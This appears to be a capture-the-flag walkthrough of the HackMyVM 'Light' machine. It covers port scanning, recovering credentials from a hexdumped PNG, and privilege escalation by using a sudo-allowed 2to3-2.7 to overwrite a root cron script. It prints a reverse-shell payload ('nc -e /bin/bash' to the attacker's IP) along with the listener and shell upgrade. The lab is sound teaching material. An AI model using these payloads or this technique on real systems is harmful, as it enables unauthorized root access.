Light is an easy machine from the platform HackMyVM by sML. This machine requires knowledge of basic Linux and penetration testing. It could be really easy for those who have experience in penetration testing but could be different for newcomers. “HackMyVM Light Writeup – Walkthrough”
Click here to go to the machine’s download page.
Get the IP address of the target
Firstly, we have to get the IP address of the target
❯ fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.178
The IP address of the target machine is 10.0.0.178 in my case.
Perform Nmap scan
Next, we have to do a Nmap scan to check the open ports.
❯ nmap -sC -sV -p- -oN nmap.log 10.0.0.178
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-10 19:13 +0545
Nmap scan report for 10.0.0.178
Host is up (0.0013s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 93a49255722b9b4a52665cafa9833cfd (RSA)
| 256 1ea7440b2c1b0d7783df1d9f0e30084d (ECDSA)
|_ 256 d0fa9d7677426f91d3bdb54472a7c971 (ED25519)
19513/tcp open tcpwrapped
44847/tcp open tcpwrapped
56116/tcp open tcpwrapped
62077/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here, we see a couple of ephemeral ports open. However, when I tried to connect to such ports using netcat, it said the connection was refused. This means that the ports were open at that time, or in other words, closed.
❯ nc 10.0.0.178 19513
Ncat: Connection refused.
❯ nc 10.0.0.178 44847
Ncat: Connection refused.
To confirm, I ran the Nmap scan once again.
❯ nmap -sC -sV -p- -oN nmap.log 10.0.0.178
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-10 19:14 +0545
Nmap scan report for 10.0.0.178
Host is up (0.00096s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 93a49255722b9b4a52665cafa9833cfd (RSA)
| 256 1ea7440b2c1b0d7783df1d9f0e30084d (ECDSA)
|_ 256 d0fa9d7677426f91d3bdb54472a7c971 (ED25519)
20687/tcp open tcpwrapped
38674/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here, the results are different once more. So, we can guess that there might be an infinite loop that is opening a random port.
Luckily, we can connect to many ports using traditional netcat. Since I use Ncat, and in my case nc points to ncat. So, I have to use nc.traditional which is in fact the actual name of the binary. On some distros, we have OpenBSD netcat.
❯ nc.traditional -nv 10.0.0.178 1024-65535
(UNKNOWN) [10.0.0.178] 20768 (?) open
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 013f 0000 0085 0806 0000 002d 80ff ...?.........-..
00000020: 0c00 0000 0173 5247 4200 aece 1ce9 0000 .....sRGB.......
00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a...
00000040: 0009 7048 5973 0000 0ec3 0000 0ec3 01c7 ..pHYs..........
00000050: 6fa8 6400 0007 de49 4441 5478 5eed dbf7 o.d....IDATx^...
00000060: 9314 4518 c671 ffff 1f2d ab2c 73c0 9cb0 ..E..q...-.,s...
00000070: 0c08 7292 0491 2092 8380 08e2 09ca c1a1 ..r... .........
00000080: 2248 7aed c799 2ea7 a67a 6f7b c3ed edf2 "Hz......zo{....
00000090: 7c3f 5553 1c7d bdd3 d361 9f09 bbf7 5400 |?US.}...a....T.
000000a0: 8021 c20f 8025 c20f 8025 c20f 8025 c20f .!...%...%...%..
000000b0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f .%...%...%...%..
000000c0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f .%...%...%...%..
# Redacted
After a while, we get an output which is a hexdump of a PNG file.
I copied the hexdump to a file hexdump (use any name) and decoded it to the photo by the following command.
❯ xxd -r hexdump > photo.png
The photo gives us the username and password.
❯ ssh [email protected]
[email protected]'s password:
Linux light 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 13 03:51:55 2020 from 192.168.1.58
lover@light:~$
Get the root shell
Getting the root shell is also an easy step in this machine. The user can run a command 2-to-3-2.7 as root. This command converts a python2 script into python3.
lover@light:~$ sudo -l
Matching Defaults entries for lover on light:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lover may run the following commands on light:
(ALL : ALL) NOPASSWD: /usr/bin/2to3-2.7
Of course, this gives us a hint that we have to overwrite a file because the binary in the sudo permission gives us the python code. So, it is most likely that there is a CRON job that executes a python script. To get the name of the script, I downloaded the binary pspy64 on the target machine and made it executable.
2023/01/10 08:46:01 CMD: UID=0 PID=671 | /usr/sbin/CRON -f
2023/01/10 08:46:02 CMD: UID=0 PID=672 | /usr/sbin/CRON -f
2023/01/10 08:46:02 CMD: UID=0 PID=673 | /bin/sh -c python /root/script/light.py
Here, we get the path of the script. If we check the help page of the binary 2-to-3-2.17, we get a couple of options that would give us what we need.
lover@light:/tmp$ 2to3-2.7 --help
Usage: 2to3 [options] file|dir ...
Options:
# Redacted
-w, --write Write back modified files
# Redacted
-o OUTPUT_DIR, --output-dir=OUTPUT_DIR
Put output files in this directory instead of
overwriting the input files. Requires -n.
-W, --write-unchanged-files
Also write files even if no changes were required
(useful with --output-dir); implies -w.
# Redacted
-w flag overwrites the same file only if the code has python2 syntax. On the other hand, the -W option writes the same file even though no changes need to be done. So, we need this switch instead of the previous one.
Since we will write the exploit code in a python file, it’s no use to modify the same file. Instead, we need to use the -o option to print in /root/script path. For this, we need to create our exploit as light.py.
# /tmp/light.py
import os
os.system("nc -e /bin/bash 10.0.0.4 9001")
For this to work, I listened on port 9001 in my Kali machine.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Then, the following command overwrites the script in the root path.
lover@light:/tmp$ sudo 2to3-2.7 -Wn /tmp/light.py -o /root/script
WARNING: --write-unchanged-files/-W implies -w.
lib2to3.main: Output in '/root/script' will mirror the input directory '/tmp' layout.
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: No changes to /tmp/light.py
RefactoringTool: Writing converted /tmp/light.py to /root/script/light.py.
RefactoringTool: Files that were modified:
RefactoringTool: /tmp/light.py
After a while, the script is executed once again by the cron job. But, this time the script contains the code to give us a reverse shell.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.178.
Ncat: Connection from 10.0.0.178:45676.
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@light:~# ^Z
[1] + 31570 suspended nc -nlvp 9001
❯ stty raw -echo;fg
[1] + 31570 continued nc -nlvp 9001
root@light:~# export TERM=xterm
root@light:~# stty rows 24 cols 80
root@light:~# md5sum root.txt; echo nepcodex.com
8adaabf7558c983c4b31695330060926 root.txt
nepcodex.com
root@light:~#
Upgrade to an intelligent reverse shell
The notes for the machine are available on the following notion page.
https://nullvector0.notion.site/light-b0717238dfc14019a874f254d0d42757
If you liked this, make sure to check out this post.